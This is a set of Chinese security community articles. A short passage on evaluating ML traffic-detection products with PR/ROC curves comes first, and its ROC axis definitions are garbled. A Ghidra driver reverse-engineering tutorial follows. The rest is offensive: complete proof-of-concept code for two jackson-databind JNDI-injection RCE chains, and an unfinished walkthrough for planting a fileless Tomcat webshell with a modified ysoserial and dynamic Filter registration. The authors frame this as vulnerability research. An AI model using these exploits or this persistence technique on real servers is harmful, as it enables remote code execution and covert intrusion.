* PR曲线
* y轴 Pricision 精准率
* x轴 Reacll 查全率
* 选取样本中每一个点计算Pricision，Reacll画图
* 面积越大效果越好
* 选取最接近右上角的点作为阈值来确定正样本的分割点
* 对数据量变化敏感
简单的理解PR图，阈值越低，判断为正样本的数据越多，查全率越高，精准率越低，最终查全率为100%的时候，精准率是最低的时候。
由于PR图评估会受到数据分布变化而影响，当你的正样本非常多或者
非常少的时候，PR曲线完全会不一样。但是ROC曲线图则有更好的鲁棒
性，ROC曲线由真正率和假正率来绘制
* ROC曲线
* x轴 FPR 预测为正的正样本占正样本的比率
* y轴 TPR 预测为正的负样本占负样本的比率
* 选取样本中每一个点计算FPR，TPR画图
* AUC是ROC曲线下的面积，AUC越大，效果越好
* 取最接近左上角的点作为阈值划分效果最好
* 对数据量变化不敏感
简单的理解ROC图，阈值越低，越多的数据会被预测为正样本，预测为
错误就越低，但是预测负样本为正样本也会高，导致真正的负样本率会
降低查全率最终肯定会穿过点（1，1），当AUC越大，模型在最优
阈值下有更高的TPR以及更低的FPR
以下是两组图，左边是ROC曲线，右边是PR曲线，第一层的表格在正负
样本分布1:1，第二层的表格正负样本1:10，可以看到PR曲线对正负样
本分布十分敏感，而ROC曲线则几乎不变。
## 0x04 模型调整
小明按照上述小红提供的方式对试用的产品用自己做好的测试数据进行
了评测，结果所有的产品都表现出来非常糟糕的结果，不过小明在和厂
商讨论后，有厂商愿意根据测试数据进行针对性的调整模型以及学习的
策略，厂商根据小明提供的测试数据重新训练了一份新的模型，小明导
入新的模型后，效果虽然还是欠缺了点，但是比一开始的表现好太多了
于是小明重新部署数据到测试环境，然后尝试把整个季度的流量日志导
入进行分析和处理，但是发现效果还是并不好，误报的情况还是非常的
多，小明单独审查了这些数据，发现大多数的数据都是周六周日，或者
是假期的数据，于是小明又再次联系厂商，询问是否可以针对这个时间
也做一下处理，厂商重新调整模型后，效果终于达到了宣传中的99%以
上。
#### Tips ：
其实准备了测试数据，也有了评估方法后，需要多次反复的对模型或者
产品进行测试，甚至还可能需要和厂商以及业务部门进行沟通，有时候
还会重新让厂商小修小改一下模型或者产品，使得评估的效果得到最优
的同时，也更加贴合实际业务的场景。
就评估方法而言，单一的评估方法是不合理的，需要结合多个评估的方
法来确认模型的有效性，就比如一开始可以直接用ROC曲线去评估模型，
但是用多种数据分布的时候，会尝试用PR的曲线去评估模型的稳定性等。
## 0x05 评测报告的编写
小明根据前面的测试结果，按照文档格式写了很多说明后，绘制了以下
的表格
常规数据集 | P | R | F1 | ROC | PR
---|---|---|---|---|---
产品A | x | x | x | x | x
产品B | x | x | x | x | x
平均数据集 | P | R | F1 | ROC | PR
---|---|---|---|---|---
产品A | x | x | x | x | x
产品B | x | x | x | x | x
...
递交给了部门领导进行下一步的审核
#### Tips ：
在最后考量的时候，还是要回归到问题本质，仅仅是分析异常流量这个
一个点，也可以衍生很多思考的点
* 如果想要误报率更低，那么可能降低R的权重。重新计算F的分数。
* 如果仅仅看哪个模型效果更好，可能只需要看ROC曲线，但是如果还要考量模型的稳定性，那么还得看PR曲线。
* 等等...
在综合各种因素衡量后，99.99%准确率或者精准率才有了确切的意义。
在面对业务部门或者进行采购的时候，才可以量化考核的指标来进行衡
量，以上是在工作上使用机器学习后的一些思考和经验的感悟，假托了
一个虚拟的故事来展现了一次评估的过程。 | 社区文章 |
**作者：[lu4nx](https://www.shellcodes.org/)@知道创宇404积极防御实验室
日期：2021年1月25日**
## 加载 PDB 符号文件
没有加载符号文件，很多函数是显示不出函数名的。如果本地有符号文件（比如用 WinDbg 时已经下载），那直接在"File"菜单选择"Load PDB
File"，浏览目录找到 .pdb 或 .xml 文件即可。
如果本地没有，Ghidra 也支持直接从微软服务器下载：
1. 点"File"菜单，选择"Download PDB File..."；
2. 弹框确认下载格式是 PDB 还是 XML，选择 PDB；
3. 选择本地保存路径；
4. 在配置"Symbol Server URL"时，点"Choose from known URLs"按钮，选择微软官方服务器；
5. 点"Download from URL"即可。
## 配置 Data Type
Ghidra 没有内置 WDK 的数据类型，在转换成 C 代码时无法更改变量类型，对分析驱动文件来说非常不方便。这个问题很早前就有网友在官方仓库提过
Issue，但是官方至今未支持（参考：<https://github.com/NationalSecurityAgency/ghidra/issues/184>）。
好在有其他网友提供了 WDK 的数据类型文件，下载地址：<https://github.com/0x6d696368/ghidra-data/tree/master/typeinfo>。
.gdt 是 Data Type 的数据文件，对于分析内核驱动只用根据处理器位数下载 ntddk_32.gdt 或 ntddk_64.gdt 即可。
以 ntddk_64.gdt 为例，下载以后，在"Data Type"窗口点右上角的"▼"按钮，选择"Open File Archive.."，找到并确认
ntddk_64.gdt 文件，如下图：
然后在列表中选中"ntddk_64"，点右键，选择"Apply Function Data Types"即可。
## 反汇编驱动文件
在逆向驱动时，如果驱动文件本身没有符号文件，就在"Symbol Tree"窗口的"Functions"中找到，entry
函数，这就是驱动入口点。Windows 驱动的入口函数定义如下：
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
){
}
入口函数有两个参数，不过有时候因为编译器的优化，Ghidra 反编译出的入口代码可能长这个样子：
void entry(longlong param_1,longlong param_2)
{
FUN_14000502c();
FUN_140001000(param_1,param_2);
return;
}
上面真正的入口函数应该是 FUN_140001000，进入 FUN_140001000，示例代码如下：
undefined8 FUN_140001000(longlong param_1,longlong param_2)
{
DbgPrint("hello world\n");
if (param_2 != 0) {
DbgPrint("hello world, RegistryPaht:%wZ\n",param_2);
}
if (param_1 != 0) {
*(code **)(param_1 + 0x68) = FUN_140001060;
}
return 0;
}
现在就可以根据函数原型定义来修改参数类型了，比如在变量 param_1 上点右键，选择"Retype Variable"，然后更改为
PDRIVER_OBJECT 类型，按这个方法，依次修改两个参数的参数类型和变量名，再将函数名改为"DriverEntry"、返回值改为
NTSTATUS，最终修改后如下：
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{
DbgPrint("hello world\n");
if (RegistryPath != (PUNICODE_STRING)0x0) {
DbgPrint("hello world, RegistryPaht:%wZ\n",RegistryPath);
}
if (DriverObject != (PDRIVER_OBJECT)0x0) {
DriverObject->DriverUnload = FUN_140001060;
}
return 0;
}
这里可以注意一个细节，修改第一个参数的类型以前，这句代码长这样：
*(code **)(param_1 + 0x68) = FUN_140001060;
修改以后：
DriverObject->DriverUnload = FUN_140001060;
Ghidra 根据类型将后面的成员变量给自动修正了。
如果结构体成员指向的是另一个结构体时，Ghidra 不会递归修正，比如：
puVar11 = CdpFindEaBufferItem(*(uint **)((longlong)&irp->AssociatedIrp + 4),"attach")
第一个参数的值在 IRP->AssociatedIrp 偏移 4 的位置，这时我们可以借助 WinDbg 来搞清楚，比如这个例子中 irp 变量对应的是
IRP 结构，用 WinDbg 查看 IRP 结构：
1: kd> dt nt!_irp /r
+0x000 Type : Int2B
+0x002 Size : Uint2B
...省略...
+0x018 AssociatedIrp : <anonymous-tag>
+0x000 MasterIrp : Ptr64 _IRP
+0x000 Type : Int2B
+0x002 Size : Uint2B
+0x004 AllocationProcessorNumber : Uint2B
...省略...
注意 dt 命令要加 /r 参数，才能递归列出每个成员。
在这里可以看到 IRP->AssociatedIrp 其实是另外一个 PIRP 类型，+ 4 对应的是 IRP 结构体的 MasterIrp 成员变量。
## 参考
《Methodology for Static Reverse Engineering of Windows Kernel Drivers》
<https://posts.specterops.io/methodology-for-static-reverse-engineering-of-windows-kernel-drivers-3115b2efed83>
* * * | 社区文章 |
### 文章前言
近期在Github上看到Jackson-databind有两个正在分配CVE的RCE漏洞，本篇文章对其进行简要分析，可算Nday~
### CVE-2020-xxxx(第一则)
#### 影响范围
* jackson-databind before 2.9.10.4
* jackson-databind before 2.8.11.6
* jackson-databind before 2.7.9.7
#### 利用条件
* 开启enableDefaultTyping()
* 使用了com.pastdev.httpcomponents.configuration.JndiConfiguration第三方依赖
#### 漏洞概述
com.pastdev.httpcomponents.configuration.JndiConfiguration类绕过了之前jackson-databind维护的黑名单类，并且JDK版本较低的话，可造成RCE。
#### 环境搭建
pom.xml文件如下：
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.pastdev.httpcomponents/configuration -->
<dependency>
<groupId>com.pastdev.httpcomponents</groupId>
<artifactId>configuration</artifactId>
<version>0.1.3</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
#### 漏洞复现
这里使用LDAP的利用方式进行漏洞的利用演示，RMI的方式也是类似的，且RMI比LDAP要对JDK版本有很大的局限性~
LDAP利用方式：jdk版本：JDK 11.0.1、8u191、7u201、6u211之前，笔者这里采用JDK 1.8.0_181
##### 编译Exploit.java
Exploit.java代码如下：
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译Exploit.java文件：
之后在本地搭建HTTP服务并将Exploit.class放置在web目录下，之后通过marshalsec来启动一个LDAP服务
使用marshalsec来启动一个LDAP服务：
##### 执行漏洞POC
Poc.java代码如下所示：
package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"com.pastdev.httpcomponents.configuration.JndiConfiguration\",\"ldap://127.0.0.1:1099/Exploit\"]";
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
之后运行该程序，成功执行命令，弹出计算器：
##### 漏洞分析
通过查看issue编号可以查看到对应添加到黑名单中的相关类：
CVE-2020-xxxx信息：
<https://github.com/FasterXML/jackson-databind/issues/2798>
相关类确定：
<https://github.com/kishorkunal-raj/jackson-databind/blob/5f4148e6c083529a2d12c6dc986b07a03850f503/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java#L198>
之后在源代码中定位到com.pastdev.httpcomponents.configuration.JndiConfiguration类，发现一处可疑的JNDI注入，我们只需要构造参数即可实现，非常简单：
整个利用链如下所示：
mapper.readValue
->JndiConfiguration
->lookup
### CVE-2020-xxxx(第二则)
#### 影响范围
* jackson-databind before 2.9.10.4
* jackson-databind before 2.8.11.6
* jackson-databind before 2.7.9.7
#### 利用条件
* 开启enableDefaultTyping()
* 使用了br.com.anteros第三方依赖
#### 漏洞概述
br.com.anteros.dbcp.AnterosDBCPConfig类绕过了之前jackson-databind维护的黑名单类，并且JDK版本较低的话，可造成RCE。
#### 环境搭建
pom.xml如下所示：
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.10.4</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.11.2</version>
</dependency>
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>
</dependencies>
#### 漏洞利用
##### Exploit.java代码如下：
import java.lang.Runtime;
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
之后编译Exploit.java，并且使用python启动一个简易的Web服务，将Exploit.class文件放置到web目录下，之后使用
marshalsec启动一个LDAP服务：
##### 执行漏洞POC1:
import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {
public static void main(String[] args) throws Exception {
String payload = "[\"br.com.anteros.dbcp.AnterosDBCPDataSource\",{\"healthCheckRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
之后运行该程序，成功执行命令，弹出计算器：
##### 执行漏洞POC2
Poc.java代码如下所示：
import com.fasterxml.jackson.databind.ObjectMapper;
public class POC {
public static void main(String[] args) throws Exception {
String payload = "[\"br.com.anteros.dbcp.AnterosDBCPDataSource\",{\"metricRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.readValue(payload, Object.class);
}
}
之后运行该程序，成功执行命令，弹出计算器：
#### 漏洞分析
相关信息：
<https://github.com/FasterXML/jackson-databind/issues/2814>
之后查找对应的issue，找到对应的绕过黑名单类：
之后在源码中定位到br.com.anteros.dbcp.AnterosDBCPDataSource类，可以看到该类继承自AnterosDBCPConfig类：
之后全局搜索healthCheckRegistry发现在函数setHealthCheckRegistry作为参数进行传递，之后该参数被传入了super.setHealthCheckRegistry(healthCheckRegistry);，也就是调用了父类的setHealthCheckRegistry方法，并将此参数作为只传递，下面我们跟进该函数来看看：
在父类的setHealthCheckRegistry方法中首先会判断healthCheckRegistry是否为空，如果不为空则调用当前类的getObjectOrPerformJndiLookup方法并将healthCheckRegistry作为参数传递，下面继续跟踪看看：
之后再getObjectOrPerformJndiLookup方法中可以看到，此处的参数object(即:传入的数据类型healthCheckRegistry的值)首先会判断其数据类型，可以看到数据类型为String时会被带人initCtx.lookup，从而导致JNDI注入：
整个利用链如下所示：
mapper.readValue
->AnterosDBCPDataSource.setHealthCheckRegistry
->AnterosDBCPDataSource.setHealthCheckRegistry
->AnterosDBCPDataSource.getObjectOrPerformJndiLookup
->initCtx.lookup();
PS：POC2原理与POC1类似，不再多做赘述~
### 安全建议
* 及时将jackson-databind升级到安全版本
* 升级到较高版本的JDK | 社区文章 |
## 0x00 前言
前段时间，看到安全客有观星实验室的师傅写了篇[《基于内存 Webshell
的无文件攻击技术研究》](https://www.anquanke.com/post/id/198886)的文章，他的办法是动态的注册一个自定义的Controller，从而实现一个内存级的Webshell。文章也针对Spring不同的版本做了不同的实践，达到通杀Spring。虽然看起来达到通杀Spring了，但是对于一些非Spring的web框架，是不是就没办法了？这算是其局限吧。
而，最近一段时间，相继看到多个师傅写了一些关于RCE回显的文章，但他们的方法，大多数也是存在着一些局限，当然，我这篇文章要讲的也是局限在tomcat下，不过，我会集各位师傅回显的思路，最后做到tomcat下的通杀Webshell。
[《通杀漏洞利用回显方法-linux平台》](https://www.00theway.org/2020/01/17/java-god-s-eye/)和[《linux下java反序列化通杀回显方法的低配版实现》](https://xz.aliyun.com/t/7307)这两篇文章，都描述了在linux环境下，通过文件描述符"/proc/self/fd/i"获取到网络连接，从而输出数据实现回显，这种方式，个人也不太喜欢，毕竟正如作者说的
“我这种低配版指令ifconfig后效果实现效果如下，服务端会直接返回数据并断掉连接，所以没有了后面http响应包，requests库无法识别返回的内容报错。”，而且局限于linux系统下。
最近kingkk师傅的一篇文章[《Tomcat中一种半通用回显方法》](https://xz.aliyun.com/t/7348)，让我重新拾起了tomcat通杀Webshell的想法，他的方法跨平台，只要是tomcat就能做到回显，也不局限于spring版本。不过，还是有点小局限，就是类似shiro这种，filter
chain处理逻辑的地方出现的漏洞点，没办法获取到Request和Response对象进行回显，因为kingkk师傅所利用的代码点恰恰在其之后。不过，这里还是非常感谢kingkk师傅的研究成果。
* * *
## 0x01 tomcat通用的获取request和response
首先我们看看一个普通http请求进来的时候，tomcat的部分执行栈：
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:493)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:81)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:800)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:806)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1498)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)
按照kingkk师傅的方法，利用的点是在
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter：
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
其中，通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true，并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化，之后，每次请求进来，就能通过这两个ThreadLocal获取到相应的request和response了。但是，也存在一点小限制，在其set之前，看：
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}
// We fell off the end of the chain -- call the servlet instance
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
...
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(null);
lastServicedResponse.set(null);
}
}
}
先执行完所有的Filter了`filter.doFilter(request, response, this)`
因此，对于shiro的反序列化利用就没办法通过这种方式取到response回显了。
* * *
## 0x02 动态注册Filter
没错的，正如标题所说，通过动态注册一个Filter，并且把其放到最前面，这样，我们的Filter就能最先执行了，并且也成为了一个内存Webshell了。
要实现动态注册Filter，需要两个步骤。第一个步骤就是先达到能获取request和response，而第二个步骤是通过request或者response去动态注册Filter
#### 步骤一
首先，我们创建一个继承AbstractTranslet（因为需要携带恶意字节码到服务端加载执行）的TomcatEchoInject类，在其静态代码块中`反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true，并且对lastServicedRequest和lastServicedResponse这两个ThreadLocal进行初始化`
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/**
* @author threedr3am
*/
public class TomcatEchoInject extends AbstractTranslet {
static {
try {
/*刚开始反序列化后执行的逻辑*/
//修改 WRAP_SAME_OBJECT 值为 true
Class c = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
java.lang.reflect.Field f = c.getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (!f.getBoolean(null)) {
f.setBoolean(null, true);
}
//初始化 lastServicedRequest
c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
f = c.getDeclaredField("lastServicedRequest");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
//初始化 lastServicedResponse
f = c.getDeclaredField("lastServicedResponse");
modifiersField = f.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(f, f.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
f.setAccessible(true);
if (f.get(null) == null) {
f.set(null, new ThreadLocal());
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
接着，我们改造一下ysoserial中的Gadgets.createTemplatesImpl方法
public static Object createTemplatesImpl ( final String command) throws Exception {
return createTemplatesImpl(command, null);
}
public static Object createTemplatesImpl ( final String command, final Class c ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command, c,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command, Class c, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
final byte[] classBytes;
if (c == null) {
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
classBytes = clazz.toBytecode();
} else {
classBytes = ClassFiles.classAsBytes(c);
}
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
可以看到，第二个传入的Class参数，我们并没有用到javassist，而是直接转字节数组，然后放到TemplatesImpl实例的_bytecodes字段中了。
最后，回到ysoserial中有调用Gadgets.createTemplatesImpl的payload类中来，我这边对每一个都做了拷贝修改，例如CommonsCollections11，我拷贝其修改后的类为CommonsCollections11ForTomcatEchoInject，在调用`Gadgets.createTemplatesImpl(command[0];`的地方，改成了`final
Object templates = Gadgets.createTemplatesImpl(null, TomcatEchoInject.class);`
并且，对ysoserial的main入口做一点小修改，因为原来的代码规定必须要有payload的入参，而我们这里不需要了
ysoserial.GeneratePayload#main：
if (args.length < 1) {
printUsage();
System.exit(USAGE_CODE);
}
在ysoserial执行maven指令生成jar包
mvn clean -Dmaven.test.skip=true compile assembly:assembly
这样，我们就能使用这个新的payload（CommonsCollections11ForTomcatEchoInject）了
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11ForTomcatEchoInject > ~/tmp/TomcatShellInject.ysoserial
#### 步骤二
在使用步骤一生成的序列化数据进行反序列化攻击后，我们就能通过下面这段代码获取到request和response对象了
java.lang.reflect.Field f = org.apache.catalina.core.ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal t = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
ServletRequest servletRequest = (ServletRequest) t.get()
接着，我们要做的就是动态注册Filter到tomcat中，参考[《动态注册之Servlet+Filter+Listener》](https://www.jianshu.com/p/cbe1c3174d41)，可以看到，其中通过ServletContext对象（实际获取的是ApplicationContext，是ServletContext的实现，因为门面模式的使用，后面需要提取实际实现），实现了动态注册Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
然而实际上并不管用，为什么呢？
private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {
if (filterName != null && !filterName.equals("")) {
if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(sm.getString("applicationContext.addFilter.ise", new Object[]{this.getContextPath()}));
} else {
FilterDef filterDef = this.context.findFilterDef(filterName);
if (filterDef == null) {
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
this.context.addFilterDef(filterDef);
} else if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
return null;
}
if (filter == null) {
filterDef.setFilterClass(filterClass);
} else {
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
}
return new ApplicationFilterRegistration(filterDef, this.context);
}
} else {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", new Object[]{filterName}));
}
}
因为`this.context.getState()`在运行时返回的state已经是`LifecycleState.STARTED`了，所以直接就抛异常了，filter根本就添加不进去。
不过问题不大，因为`this.context.getState()`获取的是ServletContext实现对象的context字段，从其中获取出state，那么，我们在其添加filter前，通过反射设置成`LifecycleState.STARTING_PREP`，在其顺利添加完成后，再把其恢复成`LifecycleState.STARTE`，这里必须要恢复，要不然会造成服务不可用。
其实上面的反射设置state值，也可以不做，因为我们看代码中，只是执行了`this.context.addFilterDef(filterDef)`，我们完全也可以通过反射context这个字段自行添加filterDef。
在实际执行栈中，可以看到，实际filter的创建是在org.apache.catalina.core.StandardWrapperValve#invoke执行`ApplicationFilterChain
filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper,
servlet);`的地方
跟进其实现方法，忽略不重要的代码：
...
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
...
// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
可以看到，从context提取了FilterMap数组，并且遍历添加到filterChain，最终生效，但是这里有两个问题：
1. 我们最早创建的filter被封装成FilterDef添加到了context的filterDefs中，但是filterMaps中并不存在
2. 跟上述一样的问题，也不存在filterConfigs中（`context.findFilterConfig`是从context的filterConfigs中获取）
这两个问题，也比较简单，第一个问题，其实在下面代码执行`filterRegistration.addMappingForUrlPatterns`的时候已经添加进去了
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter("threedr3am", threedr3am);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
if (dispatcherTypes != null) {
Iterator var5 = dispatcherTypes.iterator();
while(var5.hasNext()) {
DispatcherType dispatcherType = (DispatcherType)var5.next();
filterMap.setDispatcher(dispatcherType.name());
}
}
if (urlPatterns != null) {
String[] var9 = urlPatterns;
int var10 = urlPatterns.length;
for(int var7 = 0; var7 < var10; ++var7) {
String urlPattern = var9[var7];
filterMap.addURLPattern(urlPattern);
}
if (isMatchAfter) {
this.context.addFilterMap(filterMap);
} else {
this.context.addFilterMapBefore(filterMap);
}
}
}
而第二个问题，既然没有，我们就反射加进去就行了，不过且先看看StandardContext，它有一个方法`filterStart`
public boolean filterStart() {
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug("Starting filters");
}
boolean ok = true;
synchronized(this.filterConfigs) {
this.filterConfigs.clear();
Iterator var3 = this.filterDefs.entrySet().iterator();
while(var3.hasNext()) {
Entry<String, FilterDef> entry = (Entry)var3.next();
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Starting filter '" + name + "'");
}
try {
